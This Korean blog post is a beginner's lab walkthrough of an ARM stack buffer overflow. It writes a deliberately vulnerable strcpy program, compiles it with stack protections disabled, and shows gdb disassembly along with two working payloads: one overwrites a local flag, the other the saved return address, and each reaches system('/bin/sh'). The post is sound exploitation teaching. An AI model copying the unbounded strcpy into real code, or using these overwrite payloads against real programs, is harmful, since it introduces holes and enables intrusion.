Self-Improvement

ARM - buffer Overflow 기초 (R11 -> &lr(돌아갈 주소를 갖는 레지스터)) 본문

ARM

ARM - buffer Overflow 기초 (R11 -> &lr(돌아갈 주소를 갖는 레지스터))

JoGeun 2021. 1. 15. 11:37

크로스 컴파일 및 편리하게 ld-linux.so.3 복사

johyungen.tistory.com/391

 

크로스 컴파일 (cross compile)

https://nightohl.tistory.com/entry/%EC%9A%B0%EB%B6%84%ED%88%AC%EC%97%90%EC%84%9C-arm-%ED%81%AC%EB%A1%9C%EC%8A%A4%EC%BB%B4%ED%8C%8C%EC%9D%BC-%EB%B0%8F-%EB%94%94%EB%B2%84%EA%B9%85 우분투에서 arm 크로..

johyungen.tistory.com

R11 -> &lr(돌아갈 주소를 갖는 레지스터)

 

 

bof.c 소스코드

gcc 컴파일할 때 NX, Canary 보호기법을 제거하기 위한 옵션을 추가하고 진행하였다.

풀이2 에서는 코드상의 system("bin/sh"); 주소를 사용할 것이기에 ASLR이 걸려있어도 스택이나 힙의 주소를 사용하지 않을것이기에 상관이없다.

# arm-linux-gnueabi-gcc -z execstack -fno-stack-protector -o bof bof.c
#include <string.h>
#include <stdio.h>


int main(int argc, char *argv[]){

    int num=0;
    char arr[10];

    strcpy(arr, argv[1]);
    printf("arr: %s\n", arr);
    if(num==1){
        system("/bin/sh");
    }
    else
    {
	printf("not shell");
    }
    return 0;
}

 

bof를 실행해준다.

qemu-arm-static -L /usr/arm-linux-gnueabi -g 8888 ./bof aaaabbbb

 

gdb-multiarch로 실행한 bof에 붙어준다.

gdb-multiarch ./bof
gef➤ set arch arm
gef➤ target remote localhost:8888

 

 

풀이1

소스코드에서 strcpy로 인자로 입력받은 문자열을 arry에 대입해주는데 이때 arry[10]로 제한되어있다.

하지만 strcpy는 크기제한이 없는 함수로 인해 arry[10] 범위를 넘을 수있게 된다.

범위를 넘어 int형인 num이 1이면 쉘을 얻을 수 있게 될 것이다.

먼저 strcpy 부분에 breakpoint를 걸고 실행한다.

gef➤ disassemble main
Dump of assembler code for function main:
   0x00010498 <+0>:	push	{r11, lr}
   0x0001049c <+4>:	add	r11, sp, #4
   0x000104a0 <+8>:	sub	sp, sp, #24
   0x000104a4 <+12>:	str	r0, [r11, #-24]	; 0xffffffe8
   0x000104a8 <+16>:	str	r1, [r11, #-28]	; 0xffffffe4
   0x000104ac <+20>:	mov	r3, #0
   0x000104b0 <+24>:	str	r3, [r11, #-8]
   0x000104b4 <+28>:	ldr	r3, [r11, #-28]	; 0xffffffe4
   0x000104b8 <+32>:	add	r3, r3, #4
   0x000104bc <+36>:	ldr	r2, [r3]
   0x000104c0 <+40>:	sub	r3, r11, #20
   0x000104c4 <+44>:	mov	r1, r2
   0x000104c8 <+48>:	mov	r0, r3
   0x000104cc <+52>:	bl	0x10334 <strcpy@plt>
   0x000104d0 <+56>:	sub	r3, r11, #20
   0x000104d4 <+60>:	mov	r1, r3
   0x000104d8 <+64>:	ldr	r0, [pc, #48]	; 0x10510 <main+120>
   0x000104dc <+68>:	bl	0x10328 <printf@plt>
   0x000104e0 <+72>:	ldr	r3, [r11, #-8]
   0x000104e4 <+76>:	cmp	r3, #1
   0x000104e8 <+80>:	bne	0x104f8 <main+96>
   0x000104ec <+84>:	ldr	r0, [pc, #32]	; 0x10514 <main+124>
   0x000104f0 <+88>:	bl	0x1034c <system@plt>
   0x000104f4 <+92>:	b	0x10500 <main+104>
   0x000104f8 <+96>:	ldr	r0, [pc, #24]	; 0x10518 <main+128>
   0x000104fc <+100>:	bl	0x10328 <printf@plt>
   0x00010500 <+104>:	mov	r3, #0
   0x00010504 <+108>:	mov	r0, r3
   0x00010508 <+112>:	sub	sp, r11, #4
   0x0001050c <+116>:	pop	{r11, pc}
   0x00010510 <+120>:	andeq	r0, r1, r12, lsl #11
   0x00010514 <+124>:	muleq	r1, r8, r5
   0x00010518 <+128>:	andeq	r0, r1, r0, lsr #11

gef➤ b *main+52
gef➤ c

 

strcpy 함수의 인자는 R0, R1로부터 받으며 입력받은 값을 &R11-20(0x14)에 저장하게 된다.

R11은 프레임 포인터이며 0x40800014에 마이너스 0x14 = 0x40800000에 저장하게 된다.

Dump of assembler code for function main:
   0x00010498 <+0>:	push	{r11, lr}
   0x0001049c <+4>:	add	r11, sp, #4
   0x000104a0 <+8>:	sub	sp, sp, #24
   0x000104a4 <+12>:	str	r0, [r11, #-24]	; 0xffffffe8
   0x000104a8 <+16>:	str	r1, [r11, #-28]	; 0xffffffe4
   0x000104ac <+20>:	mov	r3, #0
   0x000104b0 <+24>:	str	r3, [r11, #-8]
   0x000104b4 <+28>:	ldr	r3, [r11, #-28]	; 0xffffffe4
   0x000104b8 <+32>:	add	r3, r3, #4
   0x000104bc <+36>:	ldr	r2, [r3]
   0x000104c0 <+40>:	sub	r3, r11, #20
   0x000104c4 <+44>:	mov	r1, r2
   0x000104c8 <+48>:	mov	r0, r3
=> 0x000104cc <+52>:	bl	0x10334 <strcpy@plt>
[...]
─────────────────────────────────────────────────────────────────────────────────── stack
0x407ffff8│+0x0000: 0x40800164  →  0x40800306  →  0x6f622f2e  →  0x6f622f2e	 ← $sp
0x407ffffc│+0x0004: 0x00000002  →  0x00000002
0x40800000│+0x0008: 0x00010370  →  0xe3a0b000  →  0xe3a0b000	 ← $r0, $r3
0x40800004│+0x000c: 0x00000000  →  0x00000000
0x40800008│+0x0010: 0x00000000  →  0x00000000
0x4080000c│+0x0014: 0x00000000  →  0x00000000
0x40800010│+0x0018: 0x00000000  →  0x00000000
0x40800014│+0x001c: 0x4085fd14  →  0xeb006068  →  0xeb006068	 ← $r11
[....]
strcpy@plt (
   $r0 = 0x40800000 → 0x00010370 → 0xe3a0b000 → 0xe3a0b000,
   $r1 = 0x4080030c → 0x61616161 → 0x61616161,
   $r2 = 0x4080030c → 0x61616161 → 0x61616161,
   $r3 = 0x40800000 → 0x00010370 → 0xe3a0b000 → 0xe3a0b000
)

 

0x40800000부터 bof를 실행할때 입력한 인자값을 채울 수 있게 된다는 것이며 중요한건 num의 주소이다.

num의 값을 비교하는 부분을 확인해본다.

r3이랑 1을 비교하는 부분이며 R3의 값은 R11-8의 값으로 0x40800014 - 0x8을 한 0x4080000C이다.

   0x000104e0 <+72>:	ldr	r3, [r11, #-8]
   0x000104e4 <+76>:	cmp	r3, #1
   0x000104e8 <+80>:	bne	0x104f8 <main+96>
   0x000104ec <+84>:	ldr	r0, [pc, #32]	; 0x10514 <main+124>
   0x000104f0 <+88>:	bl	0x1034c <system@plt>

 

우리가 입력한 값을 strcpy로 채우는 주소 0x40800000에서 0x4080000C에 1를 넣기위해선 4byte * 3 + 1byte(=1)로 되고 다시 이와 맞게 실행을 해준다.

이때 num == 1은 num이 int 형임을 생각하고 수행한다.

qemu-arm-static -L /usr/arm-linux-gnueabi -g 8888 ./bof `python -c "print 'A'*12+'\x01'"`
arr: AAAAAAAAAAAA
$

 

풀이2

이번엔 num의 값을 변조하는게 아닌 $r11 -> &lr(함수가 끝나고 돌아갈 주소)에 소스코드의 system("/bin/sh")로 리턴하게 해서 실행시킬 것이다.

    if(num==1){
        system("/bin/sh");
    }

 

main에서 system("/bin/sh")가 호출되는 부분을 확인해보면 0x104ec 주소에서 "/bin/sh"를 인자로 주고 실행을 하고 있다.

   0x000104ec <+84>:	ldr	r0, [pc, #32]	; 0x10514 <main+124>
   0x000104f0 <+88>:	bl	0x1034c <system@plt>
   0x000104f4 <+92>:	b	0x10500 <main+104>
   0x000104f8 <+96>:	ldr	r0, [pc, #24]	; 0x10518 <main+128>

 

0x104ec주소의 어셈블리어가 ldr r0, [pc, #32]로 r0에 0x10514라는 주소를 대입하고 있다.

0x10514 주소를 찾아가보면 "/bin/sh"를 만날 수 있다

gef➤  x/x 0x10514
0x10514 <main+124>:	0x98
gef➤  x/wx 0x10514
0x10514 <main+124>:	0x00010598
gef➤  x/s 0x10598
0x10598:	"/bin/sh"

 

이제 본론으로 돌아와 strcpy를 통해 스택을 가득(20byte)채운 다음 현 $r11 값에 system("/bin/sh") 주소 0x104ec를 주면 쉘을 얻을 수 있다.

qemu-arm-static -L /usr/arm-linux-gnueabi -g 8888 ./bof `python -c "print 'a'*20+'\xec\x04\x01'"`
arr: aaaabbbbccccddddeeee�
$

 

$r11에 system("/bin/sh") 주소를 주고 main+112를 수행하면 | sp | r11(system주소) | 스택이 되어진다.

main+116은 스택에 있는 값을 순서대로 r11, pc에 주는 것으로 pc는 다음 수행할 명령어를 가르키게 되고 main+112에서 r11의 system 주소를 pc가 받아서 실행하게 된다.

      0x10500 <main+104>       mov    r3,  #0
      0x10504 <main+108>       mov    r0,  r3
      0x10508 <main+112>       sub    sp,  r11,  #4
 →    0x1050c <main+116>       pop    {r11,  pc}
   ↳     0x104ec <main+84>        ldr    r0,  [pc,  #32]	; 0x10514 <main+124>
         0x104f0 <main+88>        bl     0x1034c <system@plt>
         0x104f4 <main+92>        b      0x10500 <main+104>
         0x104f8 <main+96>        ldr    r0,  [pc,  #24]	; 0x10518 <main+128>
         0x104fc <main+100>       bl     0x10328 <printf@plt>
         0x10500 <main+104>       mov    r3,  #0

 

위 풀이2는 Canary 보호기법이 있을 경우엔 막히는 공격이다.

NX 보호기법이 적용되어 있다면 스택에 쉘코드를 넣고 실행시킬 수 없다.

ASLR 보호기법 적용되어 있다면 ROP로 가능하다.

Canary 보호기법은 Memory leak이 필수적이다.

 

다음엔 스택에 쉘코드 넣는것과 스택에 실행권한이 없을 경우의 RTL 기법을 사용해본다.